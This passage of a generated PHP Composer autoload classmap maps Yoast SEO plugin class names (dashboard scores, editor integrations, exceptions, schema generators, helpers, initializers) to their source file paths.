        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Content_Types\\Content_Type' => __DIR__ . '/../..' . '/src/dashboard/domain/content-types/content-type.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Content_Types\\Content_Types_List' => __DIR__ . '/../..' . '/src/dashboard/domain/content-types/content-types-list.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Endpoint\\Endpoint_Interface' => __DIR__ . '/../..' . '/src/dashboard/domain/endpoint/endpoint-interface.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Endpoint\\Endpoint_List' => __DIR__ . '/../..' . '/src/dashboard/domain/endpoint/endpoint-list.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Filter_Pairs\\Filter_Pairs_Interface' => __DIR__ . '/../..' . '/src/dashboard/domain/filter-pairs/filter-pairs-interface.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Filter_Pairs\\Product_Category_Filter_Pair' => __DIR__ . '/../..' . '/src/dashboard/domain/filter-pairs/product-category-filter-pair.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Abstract_Score_Group' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/abstract-score-group.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Abstract_Readability_Score_Group' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/readability-score-groups/abstract-readability-score-group.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Bad_Readability_Score_Group' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/readability-score-groups/bad-readability-score-group.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Good_Readability_Score_Group' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/readability-score-groups/good-readability-score-group.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\No_Readability_Score_Group' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/readability-score-groups/no-readability-score-group.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Ok_Readability_Score_Group' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/readability-score-groups/ok-readability-score-group.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Readability_Score_Groups_Interface' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/readability-score-groups/readability-score-groups-interface.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Abstract_SEO_Score_Group' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/seo-score-groups/abstract-seo-score-group.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Bad_SEO_Score_Group' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/seo-score-groups/bad-seo-score-group.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Good_SEO_Score_Group' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/seo-score-groups/good-seo-score-group.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\No_SEO_Score_Group' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/seo-score-groups/no-seo-score-group.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Ok_SEO_Score_Group' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/seo-score-groups/ok-seo-score-group.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\SEO_Score_Groups_Interface' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/seo-score-groups/seo-score-groups-interface.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Score_Groups_Interface' => __DIR__ . '/../..' . '/src/dashboard/domain/score-groups/score-groups-interface.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Current_Score' => __DIR__ . '/../..' . '/src/dashboard/domain/score-results/current-score.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Current_Scores_List' => __DIR__ . '/../..' . '/src/dashboard/domain/score-results/current-scores-list.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Score_Result' => __DIR__ . '/../..' . '/src/dashboard/domain/score-results/score-result.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Score_Results_Not_Found_Exception' => __DIR__ . '/../..' . '/src/dashboard/domain/score-results/score-results-not-found-exception.php',
        'Yoast\\WP\\SEO\\Dashboard\\Domain\\Taxonomies\\Taxonomy' => __DIR__ . '/../..' . '/src/dashboard/domain/taxonomies/taxonomy.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/content-types/content-types-collector.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Readability_Scores_Endpoint' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/endpoints/readability-scores-endpoint.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\SEO_Scores_Endpoint' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/endpoints/seo-scores-endpoint.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Nonces\\Nonce_Repository' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/nonces/nonce-repository.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Groups\\Score_Group_Link_Collector' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/score-groups/score-group-link-collector.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\Readability_Score_Results\\Cached_Readability_Score_Results_Collector' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/score-results/readability-score-results/cached-readability-score-results-collector.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\Readability_Score_Results\\Readability_Score_Results_Collector' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/score-results/readability-score-results/readability-score-results-collector.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\SEO_Score_Results\\Cached_SEO_Score_Results_Collector' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/score-results/seo-score-results/cached-seo-score-results-collector.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\SEO_Score_Results\\SEO_Score_Results_Collector' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/score-results/seo-score-results/seo-score-results-collector.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\Score_Results_Collector_Interface' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/score-results/score-results-collector-interface.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Taxonomies\\Taxonomies_Collector' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/taxonomies/taxonomies-collector.php',
        'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Taxonomies\\Taxonomy_Validator' => __DIR__ . '/../..' . '/src/dashboard/infrastructure/taxonomies/taxonomy-validator.php',
        'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\Abstract_Scores_Route' => __DIR__ . '/../..' . '/src/dashboard/user-interface/scores/abstract-scores-route.php',
        'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\Readability_Scores_Route' => __DIR__ . '/../..' . '/src/dashboard/user-interface/scores/readability-scores-route.php',
        'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\SEO_Scores_Route' => __DIR__ . '/../..' . '/src/dashboard/user-interface/scores/seo-scores-route.php',
        'Yoast\\WP\\SEO\\Editors\\Application\\Analysis_Features\\Enabled_Analysis_Features_Repository' => __DIR__ . '/../..' . '/src/editors/application/analysis-features/enabled-analysis-features-repository.php',
        'Yoast\\WP\\SEO\\Editors\\Application\\Integrations\\Integration_Information_Repository' => __DIR__ . '/../..' . '/src/editors/application/integrations/integration-information-repository.php',
        'Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Post_Seo_Information_Repository' => __DIR__ . '/../..' . '/src/editors/application/seo/post-seo-information-repository.php',
        'Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Term_Seo_Information_Repository' => __DIR__ . '/../..' . '/src/editors/application/seo/term-seo-information-repository.php',
        'Yoast\\WP\\SEO\\Editors\\Application\\Site\\Website_Information_Repository' => __DIR__ . '/../..' . '/src/editors/application/site/website-information-repository.php',
        'Yoast\\WP\\SEO\\Editors\\Domain\\Analysis_Features\\Analysis_Feature' => __DIR__ . '/../..' . '/src/editors/domain/analysis-features/analysis-feature.php',
        'Yoast\\WP\\SEO\\Editors\\Domain\\Analysis_Features\\Analysis_Feature_Interface' => __DIR__ . '/../..' . '/src/editors/domain/analysis-features/analysis-feature-interface.php',
        'Yoast\\WP\\SEO\\Editors\\Domain\\Analysis_Features\\Analysis_Features_List' => __DIR__ . '/../..' . '/src/editors/domain/analysis-features/analysis-features-list.php',
        'Yoast\\WP\\SEO\\Editors\\Domain\\Integrations\\Integration_Data_Provider_Interface' => __DIR__ . '/../..' . '/src/editors/domain/integrations/integration-data-provider-interface.php',
        'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Description' => __DIR__ . '/../..' . '/src/editors/domain/seo/description.php',
        'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Keyphrase' => __DIR__ . '/../..' . '/src/editors/domain/seo/keyphrase.php',
        'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Seo_Plugin_Data_Interface' => __DIR__ . '/../..' . '/src/editors/domain/seo/seo-plugin-data-interface.php',
        'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Social' => __DIR__ . '/../..' . '/src/editors/domain/seo/social.php',
        'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Title' => __DIR__ . '/../..' . '/src/editors/domain/seo/title.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Cornerstone_Content' => __DIR__ . '/../..' . '/src/editors/framework/cornerstone-content.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Inclusive_Language_Analysis' => __DIR__ . '/../..' . '/src/editors/framework/inclusive-language-analysis.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Jetpack_Markdown' => __DIR__ . '/../..' . '/src/editors/framework/integrations/jetpack-markdown.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Multilingual' => __DIR__ . '/../..' . '/src/editors/framework/integrations/multilingual.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\News_SEO' => __DIR__ . '/../..' . '/src/editors/framework/integrations/news-seo.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Semrush' => __DIR__ . '/../..' . '/src/editors/framework/integrations/semrush.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Wincher' => __DIR__ . '/../..' . '/src/editors/framework/integrations/wincher.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\WooCommerce' => __DIR__ . '/../..' . '/src/editors/framework/integrations/woocommerce.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\WooCommerce_SEO' => __DIR__ . '/../..' . '/src/editors/framework/integrations/woocommerce-seo.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Keyphrase_Analysis' => __DIR__ . '/../..' . '/src/editors/framework/keyphrase-analysis.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Previously_Used_Keyphrase' => __DIR__ . '/../..' . '/src/editors/framework/previously-used-keyphrase.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Readability_Analysis' => __DIR__ . '/../..' . '/src/editors/framework/readability-analysis.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Description_Data_Provider_Interface' => __DIR__ . '/../..' . '/src/editors/framework/seo/description-data-provider-interface.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Keyphrase_Interface' => __DIR__ . '/../..' . '/src/editors/framework/seo/keyphrase-interface.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Abstract_Post_Seo_Data_Provider' => __DIR__ . '/../..' . '/src/editors/framework/seo/posts/abstract-post-seo-data-provider.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Description_Data_Provider' => __DIR__ . '/../..' . '/src/editors/framework/seo/posts/description-data-provider.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Keyphrase_Data_Provider' => __DIR__ . '/../..' . '/src/editors/framework/seo/posts/keyphrase-data-provider.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Social_Data_Provider' => __DIR__ . '/../..' . '/src/editors/framework/seo/posts/social-data-provider.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Title_Data_Provider' => __DIR__ . '/../..' . '/src/editors/framework/seo/posts/title-data-provider.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Social_Data_Provider_Interface' => __DIR__ . '/../..' . '/src/editors/framework/seo/social-data-provider-interface.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Abstract_Term_Seo_Data_Provider' => __DIR__ . '/../..' . '/src/editors/framework/seo/terms/abstract-term-seo-data-provider.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Description_Data_Provider' => __DIR__ . '/../..' . '/src/editors/framework/seo/terms/description-data-provider.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Keyphrase_Data_Provider' => __DIR__ . '/../..' . '/src/editors/framework/seo/terms/keyphrase-data-provider.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Social_Data_Provider' => __DIR__ . '/../..' . '/src/editors/framework/seo/terms/social-data-provider.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Title_Data_Provider' => __DIR__ . '/../..' . '/src/editors/framework/seo/terms/title-data-provider.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Title_Data_Provider_Interface' => __DIR__ . '/../..' . '/src/editors/framework/seo/title-data-provider-interface.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Site\\Base_Site_Information' => __DIR__ . '/../..' . '/src/editors/framework/site/base-site-information.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Site\\Post_Site_Information' => __DIR__ . '/../..' . '/src/editors/framework/site/post-site-information.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Site\\Term_Site_Information' => __DIR__ . '/../..' . '/src/editors/framework/site/term-site-information.php',
        'Yoast\\WP\\SEO\\Editors\\Framework\\Word_Form_Recognition' => __DIR__ . '/../..' . '/src/editors/framework/word-form-recognition.php',
        'Yoast\\WP\\SEO\\Elementor\\Infrastructure\\Request_Post' => __DIR__ . '/../..' . '/src/elementor/infrastructure/request-post.php',
        'Yoast\\WP\\SEO\\Exceptions\\Addon_Installation\\Addon_Activation_Error_Exception' => __DIR__ . '/../..' . '/src/exceptions/addon-installation/addon-activation-error-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Addon_Installation\\Addon_Already_Installed_Exception' => __DIR__ . '/../..' . '/src/exceptions/addon-installation/addon-already-installed-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Addon_Installation\\Addon_Installation_Error_Exception' => __DIR__ . '/../..' . '/src/exceptions/addon-installation/addon-installation-error-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Addon_Installation\\User_Cannot_Activate_Plugins_Exception' => __DIR__ . '/../..' . '/src/exceptions/addon-installation/user-cannot-activate-plugins-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Addon_Installation\\User_Cannot_Install_Plugins_Exception' => __DIR__ . '/../..' . '/src/exceptions/addon-installation/user-cannot-install-plugins-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Forbidden_Property_Mutation_Exception' => __DIR__ . '/../..' . '/src/exceptions/forbidden-property-mutation-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Importing\\Aioseo_Validation_Exception' => __DIR__ . '/../..' . '/src/exceptions/importing/aioseo-validation-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Author_Not_Built_Exception' => __DIR__ . '/../..' . '/src/exceptions/indexable/author-not-built-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Indexable_Exception' => __DIR__ . '/../..' . '/src/exceptions/indexable/indexable-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Invalid_Term_Exception' => __DIR__ . '/../..' . '/src/exceptions/indexable/invalid-term-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Not_Built_Exception' => __DIR__ . '/../..' . '/src/exceptions/indexable/not-built-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Post_Not_Built_Exception' => __DIR__ . '/../..' . '/src/exceptions/indexable/post-not-built-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Post_Not_Found_Exception' => __DIR__ . '/../..' . '/src/exceptions/indexable/post-not-found-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Post_Type_Not_Built_Exception' => __DIR__ . '/../..' . '/src/exceptions/indexable/post-type-not-built-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Source_Exception' => __DIR__ . '/../..' . '/src/exceptions/indexable/source-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Term_Not_Built_Exception' => __DIR__ . '/../..' . '/src/exceptions/indexable/term-not-built-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Term_Not_Found_Exception' => __DIR__ . '/../..' . '/src/exceptions/indexable/term-not-found-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\Missing_Method' => __DIR__ . '/../..' . '/src/exceptions/missing-method.php',
        'Yoast\\WP\\SEO\\Exceptions\\OAuth\\Authentication_Failed_Exception' => __DIR__ . '/../..' . '/src/exceptions/oauth/authentication-failed-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\OAuth\\Tokens\\Empty_Property_Exception' => __DIR__ . '/../..' . '/src/exceptions/oauth/tokens/empty-property-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\OAuth\\Tokens\\Empty_Token_Exception' => __DIR__ . '/../..' . '/src/exceptions/oauth/tokens/empty-token-exception.php',
        'Yoast\\WP\\SEO\\Exceptions\\OAuth\\Tokens\\Failed_Storage_Exception' => __DIR__ . '/../..' . '/src/exceptions/oauth/tokens/failed-storage-exception.php',
        'Yoast\\WP\\SEO\\General\\User_Interface\\General_Page_Integration' => __DIR__ . '/../..' . '/src/general/user-interface/general-page-integration.php',
        'Yoast\\WP\\SEO\\Generated\\Cached_Container' => __DIR__ . '/../..' . '/src/generated/container.php',
        'Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator' => __DIR__ . '/../..' . '/src/generators/breadcrumbs-generator.php',
        'Yoast\\WP\\SEO\\Generators\\Generator_Interface' => __DIR__ . '/../..' . '/src/generators/generator-interface.php',
        'Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator' => __DIR__ . '/../..' . '/src/generators/open-graph-image-generator.php',
        'Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator' => __DIR__ . '/../..' . '/src/generators/open-graph-locale-generator.php',
        'Yoast\\WP\\SEO\\Generators\\Schema\\Abstract_Schema_Piece' => __DIR__ . '/../..' . '/src/generators/schema/abstract-schema-piece.php',
        'Yoast\\WP\\SEO\\Generators\\Schema\\Article' => __DIR__ . '/../..' . '/src/generators/schema/article.php',
        'Yoast\\WP\\SEO\\Generators\\Schema\\Author' => __DIR__ . '/../..' . '/src/generators/schema/author.php',
        'Yoast\\WP\\SEO\\Generators\\Schema\\Breadcrumb' => __DIR__ . '/../..' . '/src/generators/schema/breadcrumb.php',
        'Yoast\\WP\\SEO\\Generators\\Schema\\FAQ' => __DIR__ . '/../..' . '/src/generators/schema/faq.php',
        'Yoast\\WP\\SEO\\Generators\\Schema\\HowTo' => __DIR__ . '/../..' . '/src/generators/schema/howto.php',
        'Yoast\\WP\\SEO\\Generators\\Schema\\Main_Image' => __DIR__ . '/../..' . '/src/generators/schema/main-image.php',
        'Yoast\\WP\\SEO\\Generators\\Schema\\Organization' => __DIR__ . '/../..' . '/src/generators/schema/organization.php',
        'Yoast\\WP\\SEO\\Generators\\Schema\\Person' => __DIR__ . '/../..' . '/src/generators/schema/person.php',
        'Yoast\\WP\\SEO\\Generators\\Schema\\WebPage' => __DIR__ . '/../..' . '/src/generators/schema/webpage.php',
        'Yoast\\WP\\SEO\\Generators\\Schema\\Website' => __DIR__ . '/../..' . '/src/generators/schema/website.php',
        'Yoast\\WP\\SEO\\Generators\\Schema_Generator' => __DIR__ . '/../..' . '/src/generators/schema-generator.php',
        'Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator' => __DIR__ . '/../..' . '/src/generators/twitter-image-generator.php',
        'Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper' => __DIR__ . '/../..' . '/src/helpers/aioseo-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Asset_Helper' => __DIR__ . '/../..' . '/src/helpers/asset-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper' => __DIR__ . '/../..' . '/src/helpers/attachment-cleanup-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper' => __DIR__ . '/../..' . '/src/helpers/author-archive-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Blocks_Helper' => __DIR__ . '/../..' . '/src/helpers/blocks-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Capability_Helper' => __DIR__ . '/../..' . '/src/helpers/capability-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Crawl_Cleanup_Helper' => __DIR__ . '/../..' . '/src/helpers/crawl-cleanup-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Curl_Helper' => __DIR__ . '/../..' . '/src/helpers/curl-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper' => __DIR__ . '/../..' . '/src/helpers/current-page-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Date_Helper' => __DIR__ . '/../..' . '/src/helpers/date-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Environment_Helper' => __DIR__ . '/../..' . '/src/helpers/environment-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\First_Time_Configuration_Notice_Helper' => __DIR__ . '/../..' . '/src/helpers/first-time-configuration-notice-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Home_Url_Helper' => __DIR__ . '/../..' . '/src/helpers/home-url-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Image_Helper' => __DIR__ . '/../..' . '/src/helpers/image-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper' => __DIR__ . '/../..' . '/src/helpers/import-cursor-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Import_Helper' => __DIR__ . '/../..' . '/src/helpers/import-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Indexable_Helper' => __DIR__ . '/../..' . '/src/helpers/indexable-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Indexable_To_Postmeta_Helper' => __DIR__ . '/../..' . '/src/helpers/indexable-to-postmeta-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Indexing_Helper' => __DIR__ . '/../..' . '/src/helpers/indexing-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Language_Helper' => __DIR__ . '/../..' . '/src/helpers/language-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Meta_Helper' => __DIR__ . '/../..' . '/src/helpers/meta-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Notification_Helper' => __DIR__ . '/../..' . '/src/helpers/notification-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper' => __DIR__ . '/../..' . '/src/helpers/open-graph/image-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper' => __DIR__ . '/../..' . '/src/helpers/open-graph/values-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Options_Helper' => __DIR__ . '/../..' . '/src/helpers/options-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Pagination_Helper' => __DIR__ . '/../..' . '/src/helpers/pagination-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Permalink_Helper' => __DIR__ . '/../..' . '/src/helpers/permalink-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Post_Helper' => __DIR__ . '/../..' . '/src/helpers/post-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper' => __DIR__ . '/../..' . '/src/helpers/post-type-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper' => __DIR__ . '/../..' . '/src/helpers/primary-term-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Product_Helper' => __DIR__ . '/../..' . '/src/helpers/product-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Redirect_Helper' => __DIR__ . '/../..' . '/src/helpers/redirect-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Request_Helper' => __DIR__ . '/../..' . '/src/deprecated/src/helpers/request-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Require_File_Helper' => __DIR__ . '/../..' . '/src/helpers/require-file-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Robots_Helper' => __DIR__ . '/../..' . '/src/helpers/robots-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper' => __DIR__ . '/../..' . '/src/helpers/robots-txt-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper' => __DIR__ . '/../..' . '/src/helpers/sanitization-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper' => __DIR__ . '/../..' . '/src/helpers/schema/article-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper' => __DIR__ . '/../..' . '/src/helpers/schema/html-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper' => __DIR__ . '/../..' . '/src/helpers/schema/id-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Schema\\Image_Helper' => __DIR__ . '/../..' . '/src/helpers/schema/image-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper' => __DIR__ . '/../..' . '/src/helpers/schema/language-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Schema\\Replace_Vars_Helper' => __DIR__ . '/../..' . '/src/helpers/schema/replace-vars-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Score_Icon_Helper' => __DIR__ . '/../..' . '/src/helpers/score-icon-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper' => __DIR__ . '/../..' . '/src/helpers/short-link-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Site_Helper' => __DIR__ . '/../..' . '/src/helpers/site-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper' => __DIR__ . '/../..' . '/src/helpers/social-profiles-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\String_Helper' => __DIR__ . '/../..' . '/src/helpers/string-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper' => __DIR__ . '/../..' . '/src/helpers/taxonomy-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper' => __DIR__ . '/../..' . '/src/helpers/twitter/image-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Url_Helper' => __DIR__ . '/../..' . '/src/helpers/url-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\User_Helper' => __DIR__ . '/../..' . '/src/helpers/user-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Wincher_Helper' => __DIR__ . '/../..' . '/src/helpers/wincher-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper' => __DIR__ . '/../..' . '/src/helpers/woocommerce-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Wordpress_Helper' => __DIR__ . '/../..' . '/src/helpers/wordpress-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper' => __DIR__ . '/../..' . '/src/deprecated/src/helpers/wordproof-helper.php',
        'Yoast\\WP\\SEO\\Helpers\\Wpdb_Helper' => __DIR__ . '/../..' . '/src/helpers/wpdb-helper.php',
        'Yoast\\WP\\SEO\\Images\\Application\\Image_Content_Extractor' => __DIR__ . '/../..' . '/src/images/Application/image-content-extractor.php',
        'Yoast\\WP\\SEO\\Initializers\\Crawl_Cleanup_Permalinks' => __DIR__ . '/../..' . '/src/initializers/crawl-cleanup-permalinks.php',
        'Yoast\\WP\\SEO\\Initializers\\Disable_Core_Sitemaps' => __DIR__ . '/../..' . '/src/initializers/disable-core-sitemaps.php',
        'Yoast\\WP\\SEO\\Initializers\\Initializer_Interface' => __DIR__ . '/../..' . '/src/initializers/initializer-interface.php',
        'Yoast\\WP\\SEO\\Initializers\\Migration_Runner' => __DIR__ . '/../..' . '/src/initializers/migration-runner.php',
        'Yoast\\WP\\SEO\\Initializers\\Plugin_Headers' => __DIR__ . '/../..' . '/src/initializers/plugin-headers.php',
